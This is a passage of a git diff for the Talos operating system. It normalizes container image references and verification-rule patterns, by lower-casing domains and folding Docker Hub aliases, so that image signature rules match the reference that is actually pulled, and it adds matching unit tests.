stripped. +// +// This is the key image verification rules are matched against. +func RepositoryKey(namedRef reference.Named) string { + return reference.TrimNamed(namedRef).String() +} + +// NormalizePattern normalizes the registry domain of an image reference glob pattern, so that the +// pattern is matched in the same namespace the output of [RepositoryKey] is in. +// +// Only the domain part of the pattern is normalized: the repository part of a canonical reference +// is always lower-case already, so folding its case would make a pattern match references it was +// not written for. +func NormalizePattern(pattern string) string { + domain, repository, hasRepository := strings.Cut(pattern, "/") + + // a pattern which carries no `/` yet is still a pattern on the domain: the domain is the + // first thing the normalized reference starts with, so `index.docker.io*` has to be folded + // just like `index.docker.io/*` is + normalizedDomain := normalizeDomainPattern(domain) + + if !hasRepository { + return normalizedDomain + } + + return normalizedDomain + "/" + repository +} + +// normalizeDomainPattern normalizes the glob pattern matched against a registry domain. +func normalizeDomainPattern(domain string) string { + globIdx := strings.IndexRune(domain, '*') + if globIdx < 0 { + return normalizeDomain(domain) + } + + // the glob matcher anchors the literal in front of the first `*` at the start of the + // reference, so that literal is normalized, while whatever the glob itself covers is matched + // as written + return normalizeDomain(domain[:globIdx]) + domain[globIdx:] +} + +// normalizeDomain normalizes a registry domain to its canonical spelling. +func normalizeDomain(domain string) string { + domain = strings.ToLower(domain) + + switch domain { + case legacyDockerHubDomain, endpointDockerHubDomain: + return dockerHubDomain + default: + return domain + } +} + +// isExplicitDomain reports whether the component is recognized as a registry domain by +// github.com/distribution/reference independently of its case. +func isExplicitDomain(domain string) bool { + return strings.ContainsAny(domain, ".:") || domain == localhostDomain +} diff --git a/internal/pkg/containers/image/imageref/imageref_test.go b/internal/pkg/containers/image/imageref/imageref_test.go new file mode 100644 index 00000000000..24311dbc187 --- /dev/null +++ b/internal/pkg/containers/image/imageref/imageref_test.go @@ -0,0 +1,244 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package imageref_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/internal/pkg/containers/image/imageref" +) + +func TestParse(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + imageRef string + + expected string + expectedKey string + expectedError string + }{ + { + imageRef: "registry.k8s.io/pause:3.9", + + expected: "registry.k8s.io/pause:3.9", + expectedKey: "registry.k8s.io/pause", + }, + { // the registry domain is a DNS name, so its case is not significant + imageRef: "REGISTRY.K8S.IO/pause:3.9", + + expected: "registry.k8s.io/pause:3.9", + expectedKey: "registry.k8s.io/pause", + }, + { + imageRef: "Registry.K8s.IO:5000/pause:3.9", + + expected: "registry.k8s.io:5000/pause:3.9", + expectedKey: "registry.k8s.io:5000/pause", + }, + { + imageRef: "docker.io/library/alpine:3.19", + + expected: "docker.io/library/alpine:3.19", + expectedKey: "docker.io/library/alpine", + }, + { // the legacy Docker Hub domain folds into docker.io + imageRef: "index.docker.io/library/alpine:3.19", + + expected: "docker.io/library/alpine:3.19", + expectedKey: "docker.io/library/alpine", + }, + { + imageRef: "INDEX.DOCKER.IO/library/alpine:3.19", + + expected: "docker.io/library/alpine:3.19", + expectedKey: "docker.io/library/alpine", + }, + { // the Docker Hub registry endpoint is the same registry as docker.io, so a + // reference written against it must not evade a rule written for docker.io + imageRef: "registry-1.docker.io/library/alpine:3.19", + + expected: "docker.io/library/alpine:3.19", + expectedKey: "docker.io/library/alpine", + }, + { + imageRef: "Registry-1.Docker.IO/alpine", + + expected: "docker.io/library/alpine:latest", + expectedKey: "docker.io/library/alpine", + }, + { // the implicit library/ namespace is applied after the domain is normalized + imageRef: "INDEX.DOCKER.IO/alpine", + + expected: "docker.io/library/alpine:latest", + expectedKey: "docker.io/library/alpine", + }, + { + imageRef: "DOCKER.IO/alpine:3.19", + + expected: "docker.io/library/alpine:3.19", + expectedKey: "docker.io/library/alpine", + }, + { + imageRef: "alpine", + + expected: "docker.io/library/alpine:latest", + expectedKey: "docker.io/library/alpine", + }, + { + imageRef: "GHCR.IO/siderolabs/kubelet@sha256:3fc16b37247f6f154d0ebf7428a28f89079a0a138c92c91fe975803d2e19ef2b", + + expected: "ghcr.io/siderolabs/kubelet@sha256:3fc16b37247f6f154d0ebf7428a28f89079a0a138c92c91fe975803d2e19ef2b", + expectedKey: "ghcr.io/siderolabs/kubelet", + }, + { // a reference carrying both a tag and a digest keeps only the digest + imageRef: "GHCR.IO/siderolabs/kubelet:v1.34.1@sha256:3fc16b37247f6f154d0ebf7428a28f89079a0a138c92c91fe975803d2e19ef2b", + + expected: "ghcr.io/siderolabs/kubelet@sha256:3fc16b37247f6f154d0ebf7428a28f89079a0a138c92c91fe975803d2e19ef2b", + expectedKey: "ghcr.io/siderolabs/kubelet", + }, + { + imageRef: "LOCALHOST:5000/foo", + + expected: "localhost:5000/foo:latest", + expectedKey: "localhost:5000/foo", + }, + { // an uppercase repository path is not a valid reference, and lower-casing the + // domain must not turn one into a valid reference + imageRef: "registry.k8s.io/Pause:3.9", + + expectedError: "invalid reference format: repository name (Pause) must be lowercase", + }, + { // a single-label component is only taken for a registry domain because it is not + // lower-case; it has no canonical spelling, so it is rejected outright + imageRef: "Foo/bar", + + expectedError: `invalid reference format: registry domain "Foo" must be lowercase`, + }, + { + imageRef: "LOCALHOST/foo", + + expected: "localhost/foo:latest", + expectedKey: "localhost/foo", + }, + { + imageRef: "", + + expectedError: "invalid reference format", + }, + } { + t.Run(test.imageRef, func(t *testing.T) { + t.Parallel() + + namedRef, err := imageref.Parse(test.imageRef) + + if test.expectedError != "" { + require.Error(t, err) + assert.EqualError(t, err, test.expectedError) + + return + } + + require.NoError(t, err) + + assert.Equal(t, test.expected, namedRef.String()) + assert.Equal(t, test.expectedKey, imageref.RepositoryKey(namedRef)) + + // normalization is idempotent: whichever spelling of the reference reaches the + // policy check, the pull and the registry configuration lookup, it is the same one + reparsed, err := imageref.Parse(namedRef.String()) + require.NoError(t, err) + assert.Equal(t, test.expected, reparsed.String()) + assert.Equal(t, test.expectedKey, imageref.RepositoryKey(reparsed)) + }) + } +} + +func TestNormalizePattern(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + pattern string + + expected string + }{ + { + pattern: "registry.k8s.io/*", + expected: "registry.k8s.io/*", + }, + { + pattern: "REGISTRY.K8S.IO/*", + expected: "registry.k8s.io/*", + }, + { // the pattern shape given as the first example in the config reference + pattern: "docker.io/library/nginx", + expected: "docker.io/library/nginx", + }, + { + pattern: "index.docker.io/library/alpine*", + expected: "docker.io/library/alpine*", + }, + { + pattern: "Index.Docker.IO/library/alpine*", + expected: "docker.io/library/alpine*", + }, + { + pattern: "*", + expected: "*", + }, + { // a glob in the domain is matched as written + pattern: "*.docker.io/library/*", + expected: "*.docker.io/library/*", + }, + { + pattern: "*/library/*", + expected: "*/library/*", + }, + { + pattern: "nginx*", + expected: "nginx*", + }, + { // a pattern carrying no `/` is still anchored at the registry domain, so the + // domain literal in front of the glob is folded just as it is with a `/` + pattern: "index.docker.io*", + expected: "docker.io*", + }, + { + pattern: "registry-1.docker.io/library/alpine*", + expected: "docker.io/library/alpine*", + }, + { + pattern: "REGISTRY-1.DOCKER.IO*", + expected: "docker.io*", + }, + { + pattern: "docker.io*", + expected: "docker.io*", + }, + { // the literal in front of the glob is not a complete domain, so there is nothing + // to fold, only to lower-case + pattern: "INDEX.DOCKER.I*", + expected: "index.docker.i*", + }, + { + pattern: "REGISTRY.K8S.IO", + expected: "registry.k8s.io", + }, + { + pattern: "localhost:5000/*", + expected: "localhost:5000/*", + }, + } { + t.Run(test.pattern, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, test.expected, imageref.NormalizePattern(test.pattern)) + assert.Equal(t, test.expected, imageref.NormalizePattern(test.expected), "normalization should be idempotent") + }) + } +} diff --git a/internal/pkg/containers/image/pull.go b/internal/pkg/containers/image/pull.go index e225b5cfe6d..97acd11b7a8 100644 --- a/internal/pkg/containers/image/pull.go +++ b/internal/pkg/containers/image/pull.go @@ -24,6 +24,7 @@ import ( "google.golang.org/grpc/codes" "google.golang.org/grpc/status" + "github.com/siderolabs/talos/internal/pkg/containers/image/imageref" "github.com/siderolabs/talos/internal/pkg/containers/image/progress" "github.com/siderolabs/talos/internal/pkg/containers/image/verify" "github.com/siderolabs/talos/pkg/machinery/constants" @@ -54,7 +55,7 @@ func Pull( o(&opts) } - namedRef, err := reference.ParseDockerRef(ref) + namedRef, err := imageref.Parse(ref) if err != nil { return nil, fmt.Errorf("failed to parse image reference %q: %w", ref, err) } @@ -82,7 +83,7 @@ func PullWithRetriesAndTimeout( o(&opts) } - namedRef, err := reference.ParseDockerRef(ref) + namedRef, err := imageref.Parse(ref) if err != nil { return nil, fmt.Errorf("failed to parse image reference %q: %w", ref, err) } @@ -131,7 +132,9 @@ func pullInternal( namedRef reference.Named, opts PullOptions, ) (img containerd.Image, err error) { - // normalize reference + // the canonical form of the reference, as produced by imageref.Parse: this is the single + // spelling used for the verification policy match, for the registry configuration lookup and + // for the pull itself ref := namedRef.String() if opts.SkipIfAlreadyPulled { diff --git a/internal/pkg/containers/image/tagfetch.go b/internal/pkg/containers/image/tagfetch.go index 4a3ba5677b4..cbc5b028877 100644 --- a/internal/pkg/containers/image/tagfetch.go +++ b/internal/pkg/containers/image/tagfetch.go @@ -16,7 +16,7 @@ import ( "github.com/containerd/containerd/v2/core/remotes/docker" "github.com/containerd/errdefs" - "github.com/google/go-containerregistry/pkg/name" + "github.com/distribution/reference" digest "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" @@ -47,14 +47,16 @@ var tagFetchAccept = strings.Join([]string{ func NewTagFetcher(reg cri.Registries) verify.TagFetcher { hosts := RegistryHosts(reg) - return func(ctx context.Context, repo name.Repository, tag string, expectedDigest digest.Digest) ([]byte, error) { - registryHosts, err := hosts(repo.RegistryStr()) + return func(ctx context.Context, repo reference.Named, tag string, expectedDigest digest.Digest) ([]byte, error) { + registryDomain := reference.Domain(repo) + + registryHosts, err := hosts(registryDomain) if err != nil { - return nil, fmt.Errorf("failed to get registry hosts for %q: %w", repo.RegistryStr(), err) + return nil, fmt.Errorf("failed to get registry hosts for %q: %w", registryDomain, err) } if len(registryHosts) == 0 { - return nil, fmt.Errorf("no registry hosts for %q: %w", repo.RegistryStr(), errdefs.ErrNotFound) + return nil, fmt.Errorf("no registry hosts for %q: %w", registryDomain, errdefs.ErrNotFound) } var firstErr error @@ -80,7 +82,7 @@ func NewTagFetcher(reg cri.Registries) verify.TagFetcher { // manifest, performs the same 401/Authorize handshake the docker resolver does, // and validates the returned content against expectedDigest. func fetchManifestByTagFromHost( - ctx context.Context, host docker.RegistryHost, repo name.Repository, tag string, expectedDigest digest.Digest, + ctx context.Context, host docker.RegistryHost, repo reference.Named, tag string, expectedDigest digest.Digest, ) ([]byte, error) { reqURL := buildTagManifestURL(host, repo, tag) @@ -210,8 +212,8 @@ func checkTagManifestStatus(status int, reqURL string) error { // buildTagManifestURL mirrors how containerd's dockerBase builds a manifests URL: // ://///manifests/, with the proxy-namespace // query argument added when the configured host is not the image's registry. -func buildTagManifestURL(host docker.RegistryHost, repo name.Repository, tag string) string { - p := path.Join("/", host.Path, repo.RepositoryStr(), "manifests", tag) +func buildTagManifestURL(host docker.RegistryHost, repo reference.Named, tag string) string { + p := path.Join("/", host.Path, reference.Path(repo), "manifests", tag) u := url.URL{ Scheme: host.Scheme, @@ -223,7 +225,7 @@ func buildTagManifestURL(host docker.RegistryHost, repo name.Repository, tag str // the upstream namespace as ?ns= so they know what to proxy. // docker.DefaultHost handles aliases such as docker.io → registry-1.docker.io, // so we don't have to duplicate that mapping here. - refHost := repo.RegistryStr() + refHost := reference.Domain(repo) canonicalRefHost, err := docker.DefaultHost(refHost) if err != nil { diff --git a/internal/pkg/containers/image/tagfetch_test.go b/internal/pkg/containers/image/tagfetch_test.go index 33f6c9c40b7..9f34571c300 100644 --- a/internal/pkg/containers/image/tagfetch_test.go +++ b/internal/pkg/containers/image/tagfetch_test.go @@ -13,7 +13,7 @@ import ( "testing" "github.com/containerd/errdefs" - "github.com/google/go-containerregistry/pkg/name" + "github.com/distribution/reference" "github.com/opencontainers/go-digest" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" @@ -142,7 +142,7 @@ func TestTagFetcher(t *testing.T) { fetcher := image.NewTagFetcher(cfg) - repo, err := name.NewRepository("example.com/" + repoStr) + repo, err := reference.WithName("example.com/" + repoStr) require.NoError(t, err) body, err := fetcher(t.Context(), repo, tag, expectedDigest) @@ -199,7 +199,7 @@ func TestTagFetcherMaxBodySize(t *testing.T) { fetcher := image.NewTagFetcher(cfg) - repo, err := name.NewRepository("example.com/" + repoStr) + repo, err := reference.WithName("example.com/" + repoStr) require.NoError(t, err) _, err = fetcher(t.Context(), repo, tag, advertisedDigest) diff --git a/internal/pkg/containers/image/verify/internal/cosign/cosign.go b/internal/pkg/containers/image/verify/internal/cosign/cosign.go index 8e2149b5b8b..2b90880a9b0 100644 --- a/internal/pkg/containers/image/verify/internal/cosign/cosign.go +++ b/internal/pkg/containers/image/verify/internal/cosign/cosign.go @@ -16,7 +16,7 @@ import ( "github.com/containerd/containerd/v2/core/remotes" "github.com/containerd/errdefs" - "github.com/google/go-containerregistry/pkg/name" + "github.com/distribution/reference" v1 "github.com/google/go-containerregistry/pkg/v1" digest "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" @@ -52,7 +52,7 @@ type VerifyResult struct { // NotFound, working around CDNs (notably registry.k8s.io) where the HEAD-by-tag // and GET-by-digest requests can land on different regional backends with // inconsistent replication. When nil, the fallback is skipped. -type TagFetcher func(ctx context.Context, repository name.Repository, tag string, expectedDigest digest.Digest) ([]byte, error) +type TagFetcher func(ctx context.Context, repository reference.Named, tag string, expectedDigest digest.Digest) ([]byte, error) // VerifyImage verifies the given image reference and digest against the provided verification configuration. // @@ -67,11 +67,11 @@ type TagFetcher func(ctx context.Context, repository name.Repository, tag string // // The verifiers are in opts, if any of the verifiers returns true for bundle verification, the image is considered verified. func VerifyImage( - ctx context.Context, logger *zap.Logger, resolver remotes.Resolver, tagFetcher TagFetcher, imageRef name.Digest, co cosign.CheckOpts, + ctx context.Context, logger *zap.Logger, resolver remotes.Resolver, tagFetcher TagFetcher, imageRef reference.Canonical, co cosign.CheckOpts, ) (*VerifyResult, error) { logger = logger.With(zap.Stringer("image", imageRef)) - imageDigest, err := v1.NewHash(imageRef.DigestStr()) + imageDigest, err := v1.NewHash(imageRef.Digest().String()) if err != nil { return nil, fmt.Errorf("failed to parse image digest: %w", err) } @@ -84,13 +84,13 @@ func VerifyImage( artifactPolicyOption := verify.WithArtifactDigest(imageDigest.Algorithm, digestBytes) // Step 1: try OCI referrers for new-style sigstore bundles. - fetcher, err := resolver.Fetcher(ctx, imageRef.Name()) + fetcher, err := resolver.Fetcher(ctx, imageRef.String()) if err != nil { return nil, fmt.Errorf("failed to get fetcher: %w", err) } if refFetcher, ok := fetcher.(remotes.ReferrersFetcher); ok { - referrers, err := refFetcher.FetchReferrers(ctx, digest.Digest(imageRef.DigestStr()), + referrers, err := refFetcher.FetchReferrers(ctx, imageRef.Digest(), remotes.WithReferrerArtifactTypes(sigstoreBundleV03ArtifactType)) if err == nil { bundleRefs := filterBundleReferrers(referrers) @@ -184,13 +184,15 @@ func verifyBundleReferrers( //nolint:gocyclo func verifyFromBundleTag( ctx context.Context, logger *zap.Logger, resolver remotes.Resolver, tagFetcher TagFetcher, - imageRef name.Digest, artifactPolicyOption verify.ArtifactPolicyOption, co cosign.CheckOpts, + imageRef reference.Canonical, artifactPolicyOption verify.ArtifactPolicyOption, co cosign.CheckOpts, ) (bool, *VerifyResult, error) { - bundleTag := strings.ReplaceAll(imageRef.DigestStr(), ":", "-") + bundleTag := strings.ReplaceAll(imageRef.Digest().String(), ":", "-") logger.Debug("resolving bundle tag", zap.String("bundleTag", bundleTag)) - resolvedName, desc, err := resolver.Resolve(ctx, imageRef.Repository.Name()+":"+bundleTag) + repository := reference.TrimNamed(imageRef) + + resolvedName, desc, err := resolver.Resolve(ctx, repository.Name()+":"+bundleTag) if err != nil { logger.Debug("bundle tag not found", zap.String("bundleTag", bundleTag), zap.Error(err)) @@ -212,7 +214,7 @@ func verifyFromBundleTag( switch desc.MediaType { case ocispec.MediaTypeImageManifest: - manifest, err := fetchManifestWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, imageRef.Repository, bundleTag) + manifest, err := fetchManifestWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, repository, bundleTag) if err != nil { return false, nil, fmt.Errorf("failed to fetch bundle manifest: %w", err) } @@ -225,7 +227,7 @@ func verifyFromBundleTag( case ocispec.MediaTypeImageIndex: // The bundle tag may be an OCI image index wrapping individual bundle manifests. // Walk each manifest entry and collect bundle layers from all of them. - index, err := fetchIndexWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, imageRef.Repository, bundleTag) + index, err := fetchIndexWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, repository, bundleTag) if err != nil { return false, nil, fmt.Errorf("failed to fetch bundle index: %w", err) } @@ -271,13 +273,15 @@ func verifyFromBundleTag( // cosign signature layers. func verifyFromLegacySigTag( ctx context.Context, logger *zap.Logger, resolver remotes.Resolver, tagFetcher TagFetcher, - imageRef name.Digest, imageDigest v1.Hash, co cosign.CheckOpts, + imageRef reference.Canonical, imageDigest v1.Hash, co cosign.CheckOpts, ) (*VerifyResult, error) { - signatureTag := strings.ReplaceAll(imageRef.DigestStr(), ":", "-") + ".sig" + signatureTag := strings.ReplaceAll(imageRef.Digest().String(), ":", "-") + ".sig" logger.Debug("resolving .sig tag", zap.String("signatureTag", signatureTag)) - resolvedName, desc, err := resolver.Resolve(ctx, imageRef.Repository.Name()+":"+signatureTag) + repository := reference.TrimNamed(imageRef) + + resolvedName, desc, err := resolver.Resolve(ctx, repository.Name()+":"+signatureTag) if err != nil { if errdefs.IsNotFound(err) { return nil, fmt.Errorf("legacy signature tag not found") @@ -297,7 +301,7 @@ func verifyFromLegacySigTag( return nil, fmt.Errorf("failed to get fetcher for .sig manifest: %w", err) } - manifest, err := fetchManifestWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, imageRef.Repository, signatureTag) + manifest, err := fetchManifestWithTagFallback(ctx, logger, fetcher, tagFetcher, desc, repository, signatureTag) if err != nil { return nil, fmt.Errorf("failed to fetch .sig manifest: %w", err) } @@ -431,7 +435,7 @@ func fetchIndex(ctx context.Context, fetcher remotes.Fetcher, desc ocispec.Descr //nolint:dupl // not a duplicate of fetchIndexWithTagFallback - decodes a different type func fetchManifestWithTagFallback( ctx context.Context, logger *zap.Logger, fetcher remotes.Fetcher, tagFetcher TagFetcher, - desc ocispec.Descriptor, repo name.Repository, tag string, + desc ocispec.Descriptor, repo reference.Named, tag string, ) (ocispec.Manifest, error) { manifest, err := fetchManifest(ctx, fetcher, desc) if err == nil { @@ -462,7 +466,7 @@ func fetchManifestWithTagFallback( //nolint:dupl // not a duplicate of fetchManifestWithTagFallback - decodes a different type func fetchIndexWithTagFallback( ctx context.Context, logger *zap.Logger, fetcher remotes.Fetcher, tagFetcher TagFetcher, - desc ocispec.Descriptor, repo name.Repository, tag string, + desc ocispec.Descriptor, repo reference.Named, tag string, ) (ocispec.Index, error) { index, err := fetchIndex(ctx, fetcher, desc) if err == nil { diff --git a/internal/pkg/containers/image/verify/internal/cosign/cosign_test.go b/internal/pkg/containers/image/verify/internal/cosign/cosign_test.go index baea4508cdb..3d008606406 100644 --- a/internal/pkg/containers/image/verify/internal/cosign/cosign_test.go +++ b/internal/pkg/containers/image/verify/internal/cosign/cosign_test.go @@ -9,7 +9,7 @@ import ( _ "embed" "testing" - "github.com/google/go-containerregistry/pkg/name" + "github.com/distribution/reference" "github.com/sigstore/cosign/v3/pkg/cosign" "github.com/sigstore/sigstore/pkg/cryptoutils" "github.com/sigstore/sigstore/pkg/signature" @@ -186,9 +186,12 @@ func TestVerifyImage(t *testing.T) { logger := zaptest.NewLogger(t) - imageRef, err := name.NewDigest(test.imageRef) + namedRef, err := reference.ParseDockerRef(test.imageRef) require.NoError(t, err) + imageRef, ok := namedRef.(reference.Canonical) + require.True(t, ok, "image reference must be digested") + result, err := ourcosign.VerifyImage(t.Context(), logger, resolver, tagFetcher, imageRef, test.checkOpts) if test.expectedError != "" { diff --git a/internal/pkg/containers/image/verify/rules.go b/internal/pkg/containers/image/verify/rules.go new file mode 100644 index 00000000000..e7832efa8fc --- /dev/null +++ b/internal/pkg/containers/image/verify/rules.go @@ -0,0 +1,72 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package verify + +import ( + "context" + "fmt" + + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "github.com/ryanuber/go-glob" + + "github.com/siderolabs/talos/internal/pkg/containers/image/imageref" + "github.com/siderolabs/talos/pkg/machinery/resources/security" +) + +// RuleMatchFunc matches an image reference against the image verification rules. +// +// The image reference is normalized before it is matched, and the returned rule is the first one +// whose (also normalized) pattern matches; a nil rule means no rule matched. +type RuleMatchFunc func(imageRef string) (*security.ImageVerificationRule, error) + +// NewRuleMatcher builds a matcher for the image verification rules present in the state. +// +// Both the image reference and the rule patterns are normalized with [imageref], so that a rule is +// matched against the very reference which is going to be pulled: matching a reference in one +// spelling while pulling another would let a rule be evaded by, say, upper-casing the registry +// domain. +func NewRuleMatcher(ctx context.Context, st state.State) (RuleMatchFunc, error) { + rules, err := safe.StateListAll[*security.ImageVerificationRule](ctx, st) + if err != nil { + return nil, fmt.Errorf("failed to list image verification rules: %w", err) + } + + type normalizedRule struct { + rule *security.ImageVerificationRule + pattern string + } + + normalizedRules := make([]normalizedRule, 0, rules.Len()) + + for rule := range rules.All() { + if rule.TypedSpec().ImagePattern == "" { + continue + } + + normalizedRules = append(normalizedRules, normalizedRule{ + rule: rule, + pattern: imageref.NormalizePattern(rule.TypedSpec().ImagePattern), + }) + } + + return func(imageRef string) (*security.ImageVerificationRule, error) { + namedRef, err := imageref.Parse(imageRef) + if err != nil { + return nil, fmt.Errorf("failed to parse image reference %q: %w", imageRef, err) + } + + // rules match on the registry and the repository only, never on the tag or the digest + repositoryKey := imageref.RepositoryKey(namedRef) + + for _, normalized := range normalizedRules { + if glob.Glob(normalized.pattern, repositoryKey) { + return normalized.rule, nil + } + } + + return nil, nil + }, nil +} diff --git a/internal/pkg/containers/image/verify/rules_test.go b/internal/pkg/containers/image/verify/rules_test.go new file mode 100644 index 00000000000..b10a344060b --- /dev/null +++ b/internal/pkg/containers/image/verify/rules_test.go @@ -0,0 +1,136 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package verify_test + +import ( + "fmt" + "testing" + + "github.com/cosi-project/runtime/pkg/state" + "github.com/cosi-project/runtime/pkg/state/impl/inmem" + "github.com/cosi-project/runtime/pkg/state/impl/namespaced" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/internal/pkg/containers/image/verify" + "github.com/siderolabs/talos/pkg/machinery/resources/security" +) + +func TestRuleMatcher(t *testing.T) { + t.Parallel() + + patterns := []string{ + "registry.k8s.io/*", + "docker.io/library/busybox*", + "index.docker.io/library/alpine*", + "ghcr.io/siderolabs/*", + "index.docker.io*", + } + + st := state.WrapCore(namespaced.NewState(inmem.Build)) + + for idx, pattern := range patterns { + rule := security.NewImageVerificationRule(fmt.Sprintf("%04d", idx)) + rule.TypedSpec().ImagePattern = pattern + rule.TypedSpec().Deny = true + + require.NoError(t, st.Create(t.Context(), rule)) + } + + matcher, err := verify.NewRuleMatcher(t.Context(), st) + require.NoError(t, err) + + for _, test := range []struct { + imageRef string + + expectedRuleID string + expectedError string + }{ + { + imageRef: "registry.k8s.io/pause:3.9", + expectedRuleID: "0000", + }, + { // the registry domain is a DNS name, so upper-casing it must not evade the rule + imageRef: "REGISTRY.K8S.IO/pause:3.9", + expectedRuleID: "0000", + }, + { + imageRef: "registry.k8s.io/pause@sha256:7031c1b283388d2c2e09b57badb803c05ebed362dc88d84b480cc47f72a21097", + expectedRuleID: "0000", + }, + { // a rule written the way the configuration reference shows it matches Docker Hub + imageRef: "docker.io/library/busybox:1.36", + expectedRuleID: "0001", + }, + { + imageRef: "busybox:1.36", + expectedRuleID: "0001", + }, + { + imageRef: "index.docker.io/library/busybox:1.36", + expectedRuleID: "0001", + }, + { // registry-1.docker.io is the Docker Hub endpoint docker.io itself resolves to, so a + // reference written that way must not evade a rule written for docker.io + imageRef: "registry-1.docker.io/library/busybox:1.36", + expectedRuleID: "0001", + }, + { + imageRef: "REGISTRY-1.DOCKER.IO/busybox:1.36", + expectedRuleID: "0001", + }, + { // and so does a rule written against the legacy Docker Hub domain + imageRef: "docker.io/library/alpine:3.19", + expectedRuleID: "0002", + }, + { + imageRef: "DOCKER.IO/library/alpine:3.19", + expectedRuleID: "0002", + }, + { + imageRef: "ghcr.io/siderolabs/kubelet:v1.34.1", + expectedRuleID: "0003", + }, + { // a rule pattern carrying no `/` is anchored at the registry domain and is folded + // just like one written as `index.docker.io/*` + imageRef: "nginx:latest", + expectedRuleID: "0004", + }, + { + imageRef: "quay.io/some/image:v1.0.0", + }, + { // the tag is never part of the match + imageRef: "quay.io/registry.k8s.io:latest", + }, + { + imageRef: "registry.k8s.io/Pause:3.9", + expectedError: `failed to parse image reference "registry.k8s.io/Pause:3.9": invalid reference format: repository name (Pause) must be lowercase`, + }, + } { + t.Run(test.imageRef, func(t *testing.T) { + t.Parallel() + + rule, err := matcher(test.imageRef) + + if test.expectedError != "" { + require.Error(t, err) + assert.EqualError(t, err, test.expectedError) + + return + } + + require.NoError(t, err) + + if test.expectedRuleID == "" { + assert.Nil(t, rule) + + return + } + + require.NotNil(t, rule) + assert.Equal(t, test.expectedRuleID, rule.Metadata().ID()) + }) + } +} diff --git a/internal/pkg/containers/image/verify/verify.go b/internal/pkg/containers/image/verify/verify.go index 2405448eb9e..1f2bd4a394f 100644 --- a/internal/pkg/containers/image/verify/verify.go +++ b/internal/pkg/containers/image/verify/verify.go @@ -14,7 +14,7 @@ import ( "github.com/containerd/containerd/v2/core/remotes" "github.com/containerd/errdefs" "github.com/cosi-project/runtime/pkg/state" - "github.com/google/go-containerregistry/pkg/name" + "github.com/distribution/reference" "github.com/sigstore/cosign/v3/pkg/cosign" "github.com/sigstore/sigstore-go/pkg/root" "github.com/sigstore/sigstore/pkg/cryptoutils" @@ -23,6 +23,7 @@ import ( "google.golang.org/grpc/codes" "google.golang.org/grpc/status" + "github.com/siderolabs/talos/internal/pkg/containers/image/imageref" ourcosign "github.com/siderolabs/talos/internal/pkg/containers/image/verify/internal/cosign" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/resources/security" @@ -34,6 +35,10 @@ type TagFetcher = ourcosign.TagFetcher // ImageSignature verifies image signature within Talos source code. // +// The image reference is normalized with [imageref] before anything else: the verification rules +// are matched against the canonical reference, and the digested reference returned on success is +// in the same namespace, so that the image which was verified is the image which gets pulled. +// // tagFetcher (optional) is invoked when the resolver's digest-based manifest // fetch returns NotFound — see [TagFetcher]. // @@ -43,21 +48,29 @@ func ImageSignature( ) (*machine.ImageServiceVerifyResponse, error) { logger = logger.With(zap.String("image_ref", imageRef)) - inRef, err := name.ParseReference(imageRef) + namedRef, err := imageref.Parse(imageRef) if err != nil { return nil, status.Errorf(codes.InvalidArgument, "image reference is invalid: %s", err) } - ruleMatcher, err := security.ImageVerificationRuleMatcher(ctx, resources) + normalizedRef := namedRef.String() + + logger = logger.With(zap.String("normalized_image_ref", normalizedRef)) + + ruleMatcher, err := NewRuleMatcher(ctx, resources) if err != nil { return nil, status.Errorf(codes.Internal, "failed to create image verification rule matcher: %s", err) } - logger.Debug("finding matching image verification rule for image reference", zap.Stringer("image_ref_context", inRef.Context())) + logger.Debug("finding matching image verification rule for image reference") + + matchedRule, err := ruleMatcher(normalizedRef) + if err != nil { + return nil, status.Errorf(codes.InvalidArgument, "failed to match image verification rules: %s", err) + } - matchedRule := ruleMatcher(inRef.Context().String()) if matchedRule == nil { - logger.Info("no matched image verification rule, allowing by default", zap.Stringer("image_ref_context", inRef.Context())) + logger.Info("no matched image verification rule, allowing by default") return &machine.ImageServiceVerifyResponse{ Verified: false, @@ -81,13 +94,9 @@ func ImageSignature( } // resolve the image reference to a digest reference if needed - var ( - digestRef name.Digest - ok bool - ) - - if digestRef, ok = inRef.(name.Digest); !ok { - _, desc, err := resolver.Resolve(ctx, inRef.String()) + digestRef, ok := namedRef.(reference.Canonical) + if !ok { + _, desc, err := resolver.Resolve(ctx, normalizedRef) if err != nil { if errdefs.IsNotFound(err) { logger.Info("image reference not found during resolution", zap.Error(err)) @@ -98,7 +107,7 @@ func ImageSignature( return nil, status.Errorf(codes.Internal, "failed to resolve image reference: %s", err) } - digestRef, err = name.NewDigest(inRef.Context().Name() + "@" + desc.Digest.String()) + digestRef, err = reference.WithDigest(reference.TrimNamed(namedRef), desc.Digest) if err != nil { return nil, status.Errorf(codes.Internal, "failed to construct digest reference: %s", err) } diff --git a/internal/pkg/cri/cri_test.go b/internal/pkg/cri/cri_test.go index cdfc68c24ca..1fffd6cee00 100644 --- a/internal/pkg/cri/cri_test.go +++ b/internal/pkg/cri/cri_test.go @@ -37,16 +37,14 @@ func MockEventSink(t *testing.T) func(state events.ServiceState, message string, } } -func MockPidRecorder(serviceName string, pid int32, clearEntry bool) error { - return nil 